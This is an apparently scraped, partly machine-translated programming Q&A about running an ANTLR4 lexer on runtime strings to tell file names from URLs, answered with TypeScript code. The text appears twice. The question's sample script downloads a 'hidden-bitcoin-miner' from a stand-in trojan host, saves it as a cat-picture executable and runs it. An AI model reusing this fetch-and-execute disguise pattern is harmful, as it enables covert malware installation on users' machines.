有没有使用 ANTLR4 来检查特定标记而不解析的好方法?
Is there a good way using ANTLR4 to check for specific tokens without parsing?
我有一个 ANTLR4 语法,其中包含“文件名”和“URLs”的标记,但该语言还包括字符串和字符串表达式(结果可能是文件名或 URLs ).有没有一种好方法可以在我的解释器中的某个字符串上调用分词器,并根据我的分词规则查看该字符串是文件名还是 URL?我只是想对那些我正在解释的脚本动态创建其中一个东西的情况进行特殊处理,这样我就可以专门处理这些字符串。
lexer // this I already have (or something like this)
FileName: ([A-Za-z]':')?('\'?[-_.A-Za-z0-9]+)+ ;
URL: ([A-Za-z]+':')?'/'?('/'?[-_.A-Za-z0-9]+)+ ;
Intepreter.java
public boolean isFileName(String string) {
return antlr.lexer.token(string).type == FileName; // this is the magic I want
}
Script // this is what I am looking to understand
# you get cat pictures, I get paid...
url = 'https://trojan-server.com/hidden-bitcoin-miner';
fn = 'c:' + programdirectory() + 'show-cat-pictures.exe';
download(url, fn);
exec(fn);
据我了解这个问题,您希望接收在运行时构造的字符串的解释器操作能够利用您的词法分析器来确定这些字符串是 URL 还是文件引用。
像这样:
doDownloadAction(source: string, dest: string) {
if (isFilename(source)) {
一个答案是启动一个由你的字符串提供的新词法分析器,就像你开始解析时所做的一样,但是没有解析器......像这样的东西(在打字稿中,对不起,我就是这样的用于 ANTLR):
import {LMLexer} from "./LMLexer";
import {CharStreams} from "antlr4ts";
function isFilename(txt: string) {
const stringLexer = new LMLexer(CharStreams.fromString(txt));
return stringLexer.nextToken().type == LMLexer.FileName;
}
for ( const str of [ "C:\Users\Tony\file.txt", "http://whosebug.com" ]) {
console.log(str, isFilename(str) ? "is" : "is not", "a filename");
}
我有一个 ANTLR4 语法,其中包含“文件名”和“URLs”的标记,但该语言还包括字符串和字符串表达式(结果可能是文件名或 URLs ).有没有一种好方法可以在我的解释器中的某个字符串上调用分词器,并根据我的分词规则查看该字符串是文件名还是 URL?我只是想对那些我正在解释的脚本动态创建其中一个东西的情况进行特殊处理,这样我就可以专门处理这些字符串。
lexer // this I already have (or something like this)
FileName: ([A-Za-z]':')?('\'?[-_.A-Za-z0-9]+)+ ;
URL: ([A-Za-z]+':')?'/'?('/'?[-_.A-Za-z0-9]+)+ ;
Intepreter.java
public boolean isFileName(String string) {
return antlr.lexer.token(string).type == FileName; // this is the magic I want
}
Script // this is what I am looking to understand
# you get cat pictures, I get paid...
url = 'https://trojan-server.com/hidden-bitcoin-miner';
fn = 'c:' + programdirectory() + 'show-cat-pictures.exe';
download(url, fn);
exec(fn);
据我了解这个问题,您希望接收在运行时构造的字符串的解释器操作能够利用您的词法分析器来确定这些字符串是 URL 还是文件引用。
像这样:
doDownloadAction(source: string, dest: string) {
if (isFilename(source)) {
一个答案是启动一个由你的字符串提供的新词法分析器,就像你开始解析时所做的一样,但是没有解析器......像这样的东西(在打字稿中,对不起,我就是这样的用于 ANTLR):
import {LMLexer} from "./LMLexer";
import {CharStreams} from "antlr4ts";
function isFilename(txt: string) {
const stringLexer = new LMLexer(CharStreams.fromString(txt));
return stringLexer.nextToken().type == LMLexer.FileName;
}
for ( const str of [ "C:\Users\Tony\file.txt", "http://whosebug.com" ]) {
console.log(str, isFilename(str) ? "is" : "is not", "a filename");
}